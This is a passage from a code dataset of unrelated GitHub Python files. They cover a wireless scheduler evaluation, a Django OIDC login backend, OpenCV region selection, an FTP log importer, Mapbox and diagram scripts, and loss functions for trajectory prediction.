test_ue.shape[0]\n test_loader_iab_graph = DataLoader(test_iab_graph, batch_size=minibatch_size, drop_last=True)\n test_loader_ue_table = torch.utils.data.DataLoader(test_ue, batch_size=minibatch_size, drop_last=True)\n test_loader_iab_table = torch.utils.data.DataLoader(test_iab, batch_size=minibatch_size, drop_last=True)\n\n for iab_data_graph, ue_data, iab_data in tqdm(\n zip(test_loader_iab_graph, test_loader_ue_table, test_loader_iab_table),\n total=int((len(test_ue) / minibatch_size))):\n # === Extract features for table datasets\n Test_UEbatch, Test_IABbatch, Test_UEidx = datap.get_batch(np.copy(ue_data), np.copy(iab_data), 0,\n minibatch_size)\n Test_UEbatch_noise, Test_IABbatch_noise, _ = datap.get_batch(np.copy(ue_data), np.copy(iab_data), 0,\n minibatch_size, is_noise=False)\n # === auxiliary label\n label_Train = datap.label_extractor(Test_UEbatch, Test_IABbatch)\n # inputModel = torch.cat((Train_IABbatch, Train_UEbatch), dim=1)\n inputModel = torch.cat((Test_IABbatch_noise, Test_UEbatch_noise), dim=1)\n inputModel = inputModel.to(device)\n Test_UEidx = Test_UEidx.to(device)\n iab_data_graph = iab_data_graph.to(device)\n\n # pred = model(inputModel, Train_UEidx, iab_data_graph)\n # pred = modelV0(inputModel, Test_UEidx)\n\n # === Compute the training loss and accuracy\n # lossCapacity, lossBW = datap.capacity_cost(pred, Test_UEbatch, Test_IABbatch)\n # print(lossCapacity)\n\n # schedulers = [scheduler.fair_access_n_backhaul]\n # schedulers_list = ['FnA']\n schedulers = [scheduler.equal_resource, scheduler.split_spectrum, scheduler.split_spectrum_backhaul_aware,\n scheduler.fair_access_n_backhaul, modelV0, scheduler.optimal]\n schedulers_list = ['ERA', 'SS', 'SS-BA', 'FAnB', 'DNN', 'Centralize']\n\n Average_Allocation_Ability = []\n Average_Difference, Average_Difference_ue, Average_Difference_iab = [], [], []\n Average_Unfulfilled_UE_Links, Average_Unfulfilled_IAB_Links = [], []\n Bandwidth_Usage = []\n Network_efficiency = []\n\n Average_Allocation_Ability_v = []\n Average_Difference_v, Average_Difference_ue_v, Average_Difference_iab_v = [], [], []\n Average_Unfulfilled_UE_Links_v, Average_Unfulfilled_IAB_Links_v = [], []\n Bandwidth_Usage_v = []\n Network_efficiency_v = []\n\n for method in schedulers:\n if method == modelV0:\n # method.eval()\n test_pred = modelV0(inputModel, Test_UEidx)\n # elif method == modelV1:\n # test_pred = modelV1(inputModel, Test_UEidx, iab_data_graph)\n else:\n test_pred = method(Test_UEbatch_noise, Test_IABbatch_noise, minibatch_size)\n\n UE_pred = test_pred[:, :, :40] # removes IABs\n IAB_pred = test_pred[:, :, 40:42] # removes UEs\n UE_efficiency, UE_capacity = datap.input_extract_for_cost(Test_UEbatch)\n IAB_efficiency, IAB_capacity = datap.input_extract_for_cost(Test_IABbatch)\n IAB_capacity[:, -1, :] = 0\n efficiency = torch.cat((UE_efficiency, IAB_efficiency), dim=2)\n capacity = torch.cat((UE_capacity, IAB_capacity), dim=2)\n\n # BW usage\n BW_usage = nna.bandwidth_usage(capacity, efficiency, test_pred)\n\n # System efficiency\n sys_eff = nna.network_efficiency(capacity, efficiency, test_pred)\n\n cap, capCost = nna.cap_req_vs_alloc_bars(capacity, efficiency, test_pred, is_plot=False)\n print(np.mean(capCost))\n\n # ue only\n cap_ue, capCost_ue = nna.cap_req_vs_alloc_bars(UE_capacity, UE_efficiency, UE_pred, is_plot=False)\n # iab only\n cap_iab, capCost_iab = nna.cap_req_vs_alloc_bars(IAB_capacity, IAB_efficiency, IAB_pred, is_plot=False)\n\n # Bars plot: Average unfulfilled links\n # Average unfulfilled links - UE\n ue_unfil_links = nna.unfulfilled_links_bars(UE_capacity, UE_efficiency, UE_pred, is_plot=False)\n # Average unfulfilled links - IAB\n iab_unfil_links = nna.unfulfilled_links_bars(IAB_capacity, IAB_efficiency, IAB_pred, is_plot=False,\n is_access=False)\n\n # Scores\n print(method)\n print('Average Allocation Ability: ', nna.allocation_ability(cap, capCost), '%')\n print('Average Difference: ', np.mean(capCost), '[Mbps]')\n print('Average Difference - UE: ', np.mean(capCost_ue), '[Mbps]')\n print('Average Difference - IAB: ', np.mean(capCost_iab), '[Mbps]')\n print('Average Unfulfilled UE Links: ', np.mean(ue_unfil_links))\n print('Average Unfulfilled IAB Links: ', np.mean(iab_unfil_links))\n print('Bandwidth Usage: ', float(torch.mean(BW_usage)), '[MHz]')\n print('Network efficiency: ', float(torch.mean(sys_eff)), '[Mpbs/Hz]')\n print('--------------------------------------------------')\n\n Average_Allocation_Ability.append(nna.allocation_ability(cap, capCost))\n Average_Difference.append(np.mean(capCost))\n Average_Difference_ue.append(np.mean(capCost_ue))\n Average_Difference_iab.append(np.mean(capCost_iab))\n Average_Unfulfilled_UE_Links.append(np.mean(ue_unfil_links))\n Average_Unfulfilled_IAB_Links.append(np.mean(iab_unfil_links))\n Bandwidth_Usage.append(float(torch.mean(BW_usage)))\n Network_efficiency.append(float(torch.mean(sys_eff)))\n\n Average_Difference_v.append(capCost)\n Average_Difference_ue_v.append(capCost_ue)\n Average_Difference_iab_v.append(capCost_iab)\n Average_Unfulfilled_UE_Links_v.append(ue_unfil_links)\n Average_Unfulfilled_IAB_Links_v.append(iab_unfil_links)\n Bandwidth_Usage_v.append(BW_usage.detach().numpy())\n Network_efficiency_v.append(sys_eff.detach().numpy())\n\n\n # Plots\n\n # Average_Allocation_Ability\n nna.draw_bar_plot(x=schedulers_list,\n y=Average_Allocation_Ability,\n title='Average Allocation Ability',\n x_label='[%]',\n y_label='Method',\n is_save=True)\n\n # Average Difference\n nna.seaborn_box_plot(x=schedulers_list,\n y=Average_Difference_v,\n title='Average Performance',\n x_label='[Mbps]',\n y_label='Method',\n is_save=True)\n\n # # Average Difference UE\n # nna.draw_bar_plot(x=schedulers_list,\n # y=Average_Difference_ue,\n # title='Average Performance - Access',\n # x_label='[Mbps]',\n # y_label='Method',\n # is_save=True)\n #\n # # Average Difference IAB\n # nna.draw_bar_plot(x=schedulers_list,\n # y=Average_Difference_iab,\n # title='Average Performance - Backhaul',\n # x_label='[Mbps]',\n # y_label='Method',\n # is_save=True)\n #\n # # Average Unfulfilled UE Links\n # nna.draw_bar_plot(x=schedulers_list,\n # y=Average_Unfulfilled_UE_Links,\n # title='Average Unfulfilled UE Links',\n # x_label='[#]',\n # y_label='Method',\n # is_save=True)\n #\n # # Average Unfulfilled IAB Links\n # nna.draw_bar_plot(x=schedulers_list,\n # y=Average_Unfulfilled_IAB_Links,\n # title='Average Unfulfilled IAB Links',\n # x_label='[#]',\n # y_label='Method',\n # is_save=True)\n #\n # # Average Loss per link - Access\n # ue_loos_per_link = nna.capacity_loss_per_link(Average_Unfulfilled_UE_Links, Average_Difference_ue)\n # nna.draw_bar_plot(x=schedulers_list,\n # y=ue_loos_per_link,\n # title='Average Loss per link - Access',\n # x_label='[Mbps]',\n # y_label='Method',\n # is_save=True)\n #\n # # Average Loss per link - Backhaul\n # iab_loos_per_link = nna.capacity_loss_per_link(Average_Unfulfilled_IAB_Links, Average_Difference_iab)\n # nna.draw_bar_plot(x=schedulers_list,\n # y=iab_loos_per_link,\n # title='Average Loss per link - Backhaul',\n # x_label='[Mbps]',\n # y_label='Method',\n # is_save=True)\n #\n # # Bandwidth Usage\n # nna.seaborn_box_plot(x=schedulers_list,\n # y=Bandwidth_Usage_v,\n # title='Bandwidth Usage',\n # x_label='[MHz]',\n # y_label='Method',\n # is_save=True)\n\n\nif __name__ == '__main__':\n main()","repo_name":"AmitMoses/IAB_Scheduler","sub_path":"02_staticTopology_eUE/main_performance_v2.py","file_name":"main_performance_v2.py","file_ext":"py","file_size_in_byte":11373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"26457048745","text":"from base64 import b64decode\nfrom my_auth.models import ResourceAccess\nfrom django.urls.base import reverse\nfrom django.utils.encoding import force_bytes, smart_text\nfrom mozilla_django_oidc.auth import OIDCAuthenticationBackend as DjangoOIDCAuthenticationBackend\nimport json\nfrom josepy.jws import JWS\nfrom django.core.exceptions import PermissionDenied, SuspiciousOperation\nimport logging\nfrom django.db import transaction\n\nfrom mozilla_django_oidc.utils import absolutify\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass OIDCAuthenticationBackend(DjangoOIDCAuthenticationBackend):\n\n @transaction.atomic\n def create_user(self, claims, payload):\n from my_auth.models import ResourceAccess, Group\n id = claims.get('sub')\n first_name, *last_name = claims.get('name').split()\n email = claims.get('email')\n username = email\n\n data = {\n 'id': id,\n 'first_name': first_name,\n 'last_name': next(iter(last_name), None),\n 'username': username,\n 'email': email,\n 'is_staff': True,\n 'resource_access': payload['resource_access']\n }\n\n \n resource_access = ResourceAccess(payload['resource_access'])\n if(resource_access.has_client('realm-management')):\n data['is_superuser'] = True\n\n user = self.UserModel.objects.create_user(**data)\n Group.objects.add_with_user(user, resource_access.get_client_roles('micro-subscribers'))\n return user\n\n\n def get_or_create_user(self, access_token, id_token, payload):\n \"\"\"Returns a User instance if 1 user is found. Creates a user if not found\n and configured to do so. Returns nothing if multiple users are matched.\"\"\"\n\n user_info = self.get_userinfo(access_token, id_token, payload)\n\n email = user_info.get('email')\n\n claims_verified = self.verify_claims(user_info)\n if not claims_verified:\n msg = 'Claims verification failed'\n raise SuspiciousOperation(msg)\n\n # email based filtering\n users = self.filter_users_by_claims(user_info)\n\n if len(users) == 1:\n return self.update_user(users[0], user_info, self._get_payload(access_token))\n elif len(users) > 1:\n # In the rare case that two user accounts have the same email address,\n # bail. Randomly selecting one seems really wrong.\n msg = 'Multiple users returned'\n raise SuspiciousOperation(msg)\n elif self.get_settings('OIDC_CREATE_USER', True):\n user = self.create_user(user_info, self._get_payload(access_token))\n return user\n else:\n LOGGER.debug('Login failed: No user with email %s found, and '\n 'OIDC_CREATE_USER is False', email)\n return None\n\n def _get_payload(self, token):\n return json.loads(JWS.from_compact(force_bytes(token)).payload)\n\n def update_user(self, user, claims, payload):\n user.resource_access = payload['resource_access']\n resource_access = ResourceAccess(payload['resource_access'])\n user.is_superuser = resource_access.has_client('realm-management')\n print(vars(user))\n user.save()\n return user\n\n def authenticate(self, request, **kwargs):\n \"\"\"Authenticates a user based on the OIDC code flow.\"\"\"\n\n self.request = request\n if not self.request:\n return None\n\n state = self.request.GET.get('state')\n code = self.request.GET.get('code')\n nonce = kwargs.pop('nonce', None)\n\n if not code or not state:\n return None\n\n reverse_url = self.get_settings('OIDC_AUTHENTICATION_CALLBACK_URL',\n 'oidc_authentication_callback')\n\n token_payload = {\n 'client_id': self.OIDC_RP_CLIENT_ID,\n 'client_secret': self.OIDC_RP_CLIENT_SECRET,\n 'grant_type': 'authorization_code',\n 'code': code,\n 'redirect_uri': absolutify(\n self.request,\n reverse(reverse_url)\n ),\n }\n\n # Get the token\n token_info = self.get_token(token_payload)\n id_token = token_info.get('id_token')\n access_token = token_info.get('access_token')\n\n # Validate the token\n payload = self.verify_token(id_token, nonce=nonce)\n self.validate_access_token(access_token=access_token)\n\n if payload:\n self.store_tokens(access_token, id_token)\n try:\n return self.get_or_create_user(access_token, id_token, payload)\n except SuspiciousOperation as exc:\n LOGGER.warning('failed to get or create user: %s', exc)\n return None\n\n return None\n\n def validate_access_token(self, access_token):\n payload = self._get_payload(access_token)\n resource_access = ResourceAccess(payload['resource_access'])\n if(not resource_access.has_client('realm-management') and not resource_access.has_client('micro-subscribers')):\n raise PermissionDenied(\n 'User not have realm-management client or subscribers-admin role')\n # def _get_user_permissions(self, user_obj):\n # print('aqui teste')\n # return user_obj.user_permissions.all()\n\n # def get_all_permissions(self, user_obj, obj=None):\n # if not user_obj.is_active or user_obj.is_anonymous or obj is not None:\n # return set()\n # if not hasattr(user_obj, '_perm_cache'):\n # user_obj._perm_cache = super().get_all_permissions(user_obj)\n # return user_obj._perm_cache\n\n # def has_perm(self, user_obj, perm, obj=None):\n # print(perm)\n # return user_obj.is_active and super().has_perm(user_obj, perm, obj=obj)\n\n # def has_module_perms(self, user_obj, app_label):\n # \"\"\"\n # Return True if user_obj has any permissions in the given app_label.\n # \"\"\"\n # print(app_label)\n # return user_obj.is_active and any(\n # perm[:perm.index('.')] == app_label\n # for perm in self.get_all_permissions(user_obj)\n # )\n","repo_name":"argentinaluiz/micro-subscribers","sub_path":"my_auth/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":6190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"49622018713","text":"import cv2\r\nimport numpy as np\r\n\r\n# 마우스 클릭\r\ndef mouse_callback(event, x, y, flags, param):\r\n global clicked_point, selected_area_name\r\n if event == cv2.EVENT_LBUTTONDOWN:\r\n clicked_point = (x, y)\r\n selected_area_name = input(\"영역 이름 입력: \")\r\n process_clicked_area()\r\n\r\n# 클릭한 좌표와 유사한 색상을 추출 & 연속된 픽셀을 묶는 함수\r\ndef process_clicked_area():\r\n if clicked_point is not None:\r\n hsv_image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\r\n clicked_hsv_color = hsv_image[clicked_point[1], clicked_point[0]]\r\n\r\n color_range = 15 # 색상 범위 \r\n lower_bound = np.array([clicked_hsv_color[0] - color_range, 50, 50])\r\n upper_bound = np.array([clicked_hsv_color[0] + color_range, 255, 255])\r\n\r\n mask = cv2.inRange(hsv_image, lower_bound, upper_bound)\r\n result = cv2.bitwise_and(image, image, mask=mask)\r\n\r\n # 연속된 픽셀을 하나로 묶음\r\n gray_result = cv2.cvtColor(result, cv2.COLOR_BGR2GRAY)\r\n _, binary = cv2.threshold(gray_result, 1, 255, cv2.THRESH_BINARY)\r\n contours, _ = cv2.findContours(binary, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n clicked_cluster = None # 클릭한 픽셀이 포함된 무리 찾기\r\n for contour in contours:\r\n if cv2.pointPolygonTest(contour, clicked_point, False) >= 0:\r\n clicked_cluster = contour\r\n break\r\n\r\n if clicked_cluster is not None: # 영역 잘라내기\r\n x, y, w, h = cv2.boundingRect(clicked_cluster)\r\n clicked_area = image[y:y + h, x:x + w]\r\n\r\n saved_areas[selected_area_name] = {'coordinates': (x, y, w, h)} # 추출한 영역을 임의로 정한 제목으로 저장 및 좌표 저장\r\n\r\n cv2.imshow('Clicked Area - ' + selected_area_name, clicked_area)\r\n\r\n#초기 입력값\r\nclicked_point = None\r\nselected_area_name = \"\"\r\nimage = cv2.imread(r\"C:\\Users\\USER\\Pictures\\Screenshots\\asdf.png\")\r\nsaved_areas = {}\r\n\r\ncv2.namedWindow('Image')\r\ncv2.setMouseCallback('Image', mouse_callback)\r\n\r\nwhile True:\r\n cv2.imshow('Image', image)\r\n\r\n key = cv2.waitKey(1) & 0xFF\r\n if key == ord('a'): #창 닫기\r\n break\r\ncv2.destroyAllWindows()\r\n\r\n# 저장된 영역과 좌표 출력\r\nfor area_name, area_info in saved_areas.items():\r\n print(f\"영역명: {area_name}, 좌표: {area_info['coordinates']}\")\r\n#%%\r\n","repo_name":"fixed0301/2023-RnE","sub_path":"region/hsv.named.py","file_name":"hsv.named.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"5745455778","text":"# Program to convert a decimal number to a number of any base.\ndef convertToBaseX(base, num: int) -> str:\n from math import log\n\n if num == 0:\n return str(0)\n\n # Storing converted value as a String.\n converted = ''\n\n # Dealing with the negative sign.\n if str(num)[0] == '-':\n num = int(str(num)[1::])\n converted += '-'\n\n # Creating a dictionary for storing conversion rates.\n dict = {i: '0123456789ABCDEF'[i] for i in range(16)}\n \n # 'power' is the power to which the 'base' must be raised\n # - in order to obtain 'num'\n power = int(log(num, base))\n\n # Iterating over a range of numbers.\n # Floor-dividing the passed-in value by the base raised to the iterator.\n # Using the result as index of the desired value in the dictionary.\n # Using modulo to reduce 'num' for the next iteration.\n for pow in range(power, -1, -1):\n converted += dict[num // (base ** pow)]\n num %= base ** pow\n\n return converted\n \n","repo_name":"NBG9/Python","sub_path":"ConvertToBaseX.py","file_name":"ConvertToBaseX.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"29681861262","text":"import diagrams\nimport diagrams.aws.compute as compute\nimport diagrams.aws.devtools as devtools\nimport diagrams.aws.management as manage\nimport diagrams.aws.network as network\nimport diagrams.aws.storage as storage\n\ndiagram_attr = {\n 'margin': '-0.8,-0.8',\n 'size': '10,8',\n 'bgcolor': 'transparent'\n}\nwith diagrams.Diagram(\n '',\n show=False,\n graph_attr=diagram_attr,\n filename='docs/overview',\n # direction='TB'\n direction='LR'\n):\n\n attr = {\n 'margin': '30'\n }\n\n with diagrams.Cluster(\n 'Cloud Development Kit (CDK)', graph_attr=attr):\n\n app = devtools.CloudDevelopmentKit(\n 'CDK App\\n[mcservers]')\n\n with diagrams.Cluster(\n 'CDK Stack = Network',\n graph_attr=attr):\n networkStack = manage.CloudformationStack(\n 'CloudFormation Stack\\n[mcservers-env-network]')\n\n with diagrams.Cluster(\n 'CDK Stack = Hosts',\n graph_attr=attr):\n hostAStack = manage.CloudformationStack(\n 'Nested Stack\\n[Server A]')\n hostBStack = manage.CloudformationStack(\n 'Nested Stack\\n[Server B]')\n hostCStack = manage.CloudformationStack(\n 'Nested Stack\\n[Server C]')\n hostsStack = manage.CloudformationStack(\n 'CloudFormation Stack\\n[mcservers-env-hosts]')\n hostsStack >> [hostCStack, hostBStack, hostAStack]\n\n app >> [hostsStack, networkStack]\n\n with diagrams.Cluster('Networking Resources', graph_attr=attr):\n vpc = network.VPC('VPC')\n subnet = network.PublicSubnet('Public Subnet')\n vpc - subnet\n networkStack >> [vpc, subnet]\n\n with diagrams.Cluster('Compute Resources', graph_attr=attr):\n ec2a = compute.EC2('Minecraft\\nServer A')\n ec2b = compute.EC2('Minecraft\\nServer B')\n ec2c = compute.EC2('Minecraft\\nServer C')\n\n hostAStack >> ec2a\n hostBStack >> ec2b\n hostCStack >> ec2c\n\n ec2a - subnet\n ec2b - subnet\n ec2c - subnet\n","repo_name":"cpolanec/minecraft-server-farm","sub_path":"docs/overview-diagram.py","file_name":"overview-diagram.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"15471693994","text":"# --- Day 16: Flawed Frequency Transmission ---\n\ndata = open('16.input', 'r').read().strip()\nsignal = list(map(int, data))\n\nbase = [0, 1, 0, -1]\n\n\ndef pattern_read(position, offset):\n offset = (offset + 1) // (position + 1)\n return offset\n\n\ndef fft_step(signal):\n transformed = []\n position = 0\n for pos in range(len(signal)):\n sigma = 0\n for offset in range(len(signal)):\n coefficient = pattern_read(pos, offset) % 4\n coefficient = base[coefficient]\n sigma += coefficient * signal[offset]\n transformed.append(abs(sigma) % 10)\n return transformed\n\ndef fft(signal, phases):\n for _ in range(phases):\n signal = fft_step(signal)\n return signal\n\n\n# part1\nprint(''.join(map(str, fft(signal, 100)[:8])))\n","repo_name":"Arctice/advent-of-code","sub_path":"2019/16.py","file_name":"16.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"35850017645","text":"from ._anvil_designer import Form6Template\nfrom anvil import *\nimport anvil.server\nimport anvil.tables as tables\nimport anvil.tables.query as q\nfrom anvil.tables import app_tables\nfrom anvil.js.window import mapboxgl, MapboxGeocoder\nimport anvil.js\nimport anvil.http\n\nclass Form6(Form6Template):\n def __init__(self, **properties):\n # Set Form properties and Data Bindings.\n self.dom = anvil.js.get_dom_node(self.spacer_1)\n # self.time_dropdown.items = [(\"10 minutes\", \"10\"), (\"20 minutes\", \"20\"), (\"30 minutes\", \"30\")]\n self.token = \"pk.eyJ1Ijoic3lkbmV5c3Rld2FydCIsImEiOiJjbG5vajJ1b3kwMG9xMnRscWcxa3p4YXBtIn0.mnKGtTfkOCDAGkdxA-cZnw\"\n self.geocoder = MapboxGeocoder({'accessToken': self.token,\n 'marker': False}) #we've already added a marker \n # self.mapbox.addControl(self.geocoder)\n\n def form_show(self, **event_args):\n \"\"\"This method is called when the HTML panel is shown on the screen\"\"\"\n mapboxgl.accessToken = self.token\n self.mapbox = mapboxgl.Map({'container': self.dom,\n 'style': 'mapbox://styles/mapbox/streets-v11',\n # 'style': 'mapbox://styles/brookemyers/cklk04z7x1f5d17pedafupa3e',\n 'center': [-2.834603077700183, 54.1973265832562], #center on Cambridge\n 'zoom': 14})\n \n self.marker = mapboxgl.Marker({'red': '#944840', 'draggable': True})\n self.marker.setLngLat([-2.834603077700183, 54.1973265832562]).addTo(self.mapbox)\n\n self.geocoder = MapboxGeocoder({'accessToken': mapboxgl.accessToken,\n 'marker': False}) #we've already added a marker \n self.mapbox.addControl(self.geocoder)\n\n self.geocoder.on('result', self.move_marker)\n\n def move_marker(self, result):\n #get the [longitude, latitude] coordinates from the JS object returned from 'result' \n lnglat = result['result']['geometry']['coordinates']\n self.marker.setLngLat(lnglat)\n print(result)\n\n\n\n\n \n # self.map.on('mousemove', (e) => {\n # document.getElementById('info').innerHTML =\n # # `e.point` is the x, y coordinates of the `mousemove` event\n # # relative to the top-left corner of the map.\n # JSON.stringify(e.point) +\n # '
' +\n # # `e.lngLat` is the longitude, latitude geographical position of the event.\n # JSON.stringify(e.lngLat.wrap());\n # self.geocoder = MapboxGeocoder({'accessToken': mapboxgl.accessToken,\n # 'marker': False})\n # self.mapbox.addControl(self.geocoder)\n \n # self.geocoder.on('result', self.move_marker)\n # self.marker.on('drag', self.marker_dragged)\n\n \n \n def move_marker(self, result):\n lnglat = result['result']['geometry']['coordinates']\n print(lnglat)\n self.marker.setLngLat(lnglat)\n # self.get_iso(self.profile_dropdown.selected_value.lower(), self.time_dropdown.selected_value)\n \n # def marker_dragged(self, drag):\n # self.get_iso(self.profile_dropdown.selected_value.lower(), self.time_dropdown.selected_value)\n \n # def get_iso(self, profile, contours_minutes):\n # if not self.mapbox.getSource('iso'):\n # self.mapbox.addSource('iso', {'type': 'geojson',\n # 'data': {'type': 'FeatureCollection',\n # 'features': []}\n # }\n # )\n # self.mapbox.addLayer({'id': 'isoLayer',\n # 'type': 'fill',\n # 'source': 'iso',\n # 'layout': {},\n # 'paint': {\n # 'fill-color': '#955547',\n # 'fill-opacity': 0.3}\n # })\n \n # lnglat = self.marker.getLngLat()\n # response = anvil.http.request(f\"https://api.mapbox.com/isochrone/v1/mapbox/{profile}/{lnglat.lng},{lnglat.lat}?contours_minutes={contours_minutes}&polygons=true&access_token={self.token}\", json=True)\n # self.mapbox.getSource('iso').setData(response)\n\n\n\n\n\n\n","repo_name":"sydstewart/dev-system","sub_path":"client_code/Form6/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"4988963220","text":"import datetime\nimport ftplib\nimport logging\nimport os\nimport time\nfrom typing import Generator\n\nfrom django.conf import settings\nfrom django.utils import timezone\n\nfrom dzllogparser.services.parser import (defenition_logfile_data,\n get_date_from_timestamp_str)\nfrom dzllogparser.services.db import (\n import_logfile_data_into_db, RecordsStatus, change_status_for_phantoms)\nfrom dzllogparser.models import Event\n\n\nftp_logger = logging.getLogger(__name__)\n\n\ndef get_unparsed_dirs_from_ftp(ftp: ftplib.FTP) -> list[str]:\n \"\"\"Returns unparsed directory list from ftp server\"\"\"\n ftp_directory_list = [\n dir_name for dir_name in ftp.nlst()\n if dir_name.isdigit()\n ]\n last_event = Event.objects.order_by('action_time').last()\n try:\n last_timestamp = int(datetime.datetime.timestamp(\n last_event.action_time))\n except AttributeError:\n ftp_logger.info(f'Last update date not found.')\n return ftp_directory_list\n else:\n unparsed_dirs_list = [\n dir_name for dir_name in ftp_directory_list\n if int(dir_name) > last_timestamp\n ]\n return unparsed_dirs_list[1:]\n\n\ndef get_logfile_from_ftp(dir_name: str, ftp: ftplib.FTP) -> list[str]:\n \"\"\"Returns list with car logfile strings from ftp server\"\"\"\n try:\n ftp.cwd('/' + dir_name)\n logfiles_list = [\n filename for filename in ftp.nlst()\n if filename.find(settings.CAR_LOGFILE_PREFIX) >= 0\n ]\n logfile_name, = logfiles_list\n data = []\n ftp.retrbinary('RETR ' + logfile_name,\n callback=lambda x: data.append(x))\n logfile = b''.join(data)\n except ftplib.all_errors as exception:\n ftp_logger.error(f'FTP Error: {exception}.')\n # raise\n except ValueError:\n ftp_logger.warning(f'Log file search error in directory {dir_name}')\n else:\n return logfile.decode('utf-8').split('\\r\\n')\n return []\n\n\ndef get_logfiles_generator(ftp: ftplib.FTP) -> Generator[tuple[str, list],\n None, None]:\n \"\"\"Returns Generator with tuples(directory_name, bytes)\"\"\"\n if settings.DAYS_LIMIT:\n limit_date = timezone.now().date() - datetime.timedelta(\n days=settings.DAYS_LIMIT)\n directory_list_to_work = [\n dir_name_str for dir_name_str in get_unparsed_dirs_from_ftp(ftp)\n if get_date_from_timestamp_str(dir_name_str) > limit_date\n ]\n else:\n directory_list_to_work = get_unparsed_dirs_from_ftp(ftp)\n logfiles = (\n (dir_name, get_logfile_from_ftp(dir_name, ftp))\n for dir_name in directory_list_to_work\n )\n return logfiles\n\n\ndef get_summary_result(common_result: RecordsStatus,\n current_result: RecordsStatus) -> None:\n \"\"\"Summarizes class attributes RecordStatus.\"\"\"\n for attr in common_result.__dict__.keys():\n common_result_attr = getattr(common_result, attr)\n setattr(common_result, attr,\n common_result_attr + getattr(current_result, attr))\n\n\ndef get_updates_from_ftp() -> RecordsStatus:\n \"\"\"Get logfiles data from ftp server.\"\"\"\n ftp = ftplib.FTP(settings.FTP_HOST)\n log_list = []\n result = RecordsStatus()\n start_time = time.monotonic()\n try:\n ftp.connect()\n ftp.login(settings.FTP_LOGIN, settings.FTP_PASSWORD)\n for dir_name, file_strings in get_logfiles_generator(ftp):\n logfile_data = defenition_logfile_data(dir_name, file_strings)\n current_result = import_logfile_data_into_db(logfile_data,\n settings.DAYS_LIMIT)\n get_summary_result(result, current_result)\n change_status_for_phantoms()\n except ftplib.all_errors as exception:\n ftp_logger.error(f'FTP Error: {exception}.')\n # raise\n finally:\n ftp.close()\n result.elapsed_time = round(time.monotonic() - start_time, 3)\n return result\n","repo_name":"PlanSK/immo-logparser","sub_path":"dzll/dzllogparser/services/ftp.py","file_name":"ftp.py","file_ext":"py","file_size_in_byte":4061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"3989603914","text":"from django.conf.urls import url,include\n\nfrom . import views\nurlpatterns = [\n url(r'^login', views.login_page, name ='login'),\n url(r'^register', views.register_page, name ='register'),\n url(r'^guest', views.guest_register_view, name ='guest_register'),\n url(r'^logout', views.logout_view, name ='logout'),\n\n\n]\n","repo_name":"jainrishabhpkr/JainHardware","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28828375370","text":"from lib2to3 import refactor\nimport torch.nn.functional as F\nimport torch\nimport numpy as np\nimport random\n\nIDCES_2d = (0,1)\nIDCES_3d = (0,1,2)\n\ndef _mse_loss(target, output, init=None, end=None, landmarks_idces=None, dimensions_idces=IDCES_3d):\n # idces -> landmarks to consider\n # output/target := (batch_size, pred_length, num_agents, num_landmarks, num_features)\n \n if landmarks_idces is not None: # indices to consider for evaluation\n target, output = output[:, :, :, landmarks_idces], target[:, :, :, landmarks_idces]\n\n if init is not None and end is not None:\n output, target = [arr[:, init:end, ..., dimensions_idces] for arr in [output, target]]\n elif init is not None:\n output, target = [arr[:, init:, ..., dimensions_idces] for arr in [output, target]]\n elif end is not None:\n output, target = [arr[:, :end, ..., dimensions_idces] for arr in [output, target]]\n\n return F.mse_loss(output, target, reduction=\"mean\")\n\ndef mse_loss(obs, target, output, init=None, end=None, n_dims=3):\n output = output[0] # we ignore mu, logvar for VAE-like archs\n assert n_dims in (2, 3)\n assert target.shape[-1] >= n_dims and output.shape[-1] >= n_dims\n loss_mse = _mse_loss(target, output, init=init, end=end, \n dimensions_idces=IDCES_2d if n_dims == 2 else IDCES_3d\n )\n return loss_mse, np.array([loss_mse.item(), ]), [\"loss\", ]\n\ndef BehaviorNet_loss(obs, target, output, aux_output, beta=0.5, delta=0.5, n_dims=3):\n assert len(output) == 5, \"'prediction', 'b', 'mu', 'logvar' and 'pre' are needed for this loss.\"\n pred, b, mu, logvar, pre = output\n # pred/target := (batch_size, pred_length, num_agents, num_landmarks, num_features)\n\n batch_size = target.shape[0]\n\n MSE = (pred - target).pow(2).sum() / batch_size\n KLD = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp()) / batch_size\n \n aux_MSE = (aux_output - target).pow(2).sum() / batch_size\n Full_MSE(obs, target, aux_output)[0]\n aux_loss_name = \"loss_mse_aux\"\n\n loss_r = MSE + beta * KLD - delta * aux_MSE\n\n return loss_r, [loss_r.item(), MSE.item(), KLD.item(), aux_MSE.item()], [\"loss\", \"loss_mse\", \"loss_KLD\", aux_loss_name]\n\n\ndef Full_MSE(obs, target, output, n_dims=3):\n # loss for auxiliar decoder in behaviornet\n pred = output\n # target/pred := (batch_size, pred_length, num_agents, num_landmarks, num_features)\n assert len(pred.shape) == 5\n\n batch_size = target.shape[0]\n\n MSE = (pred - target).pow(2).sum() / batch_size\n return MSE, [MSE.item(), ], [\"loss_mse\", 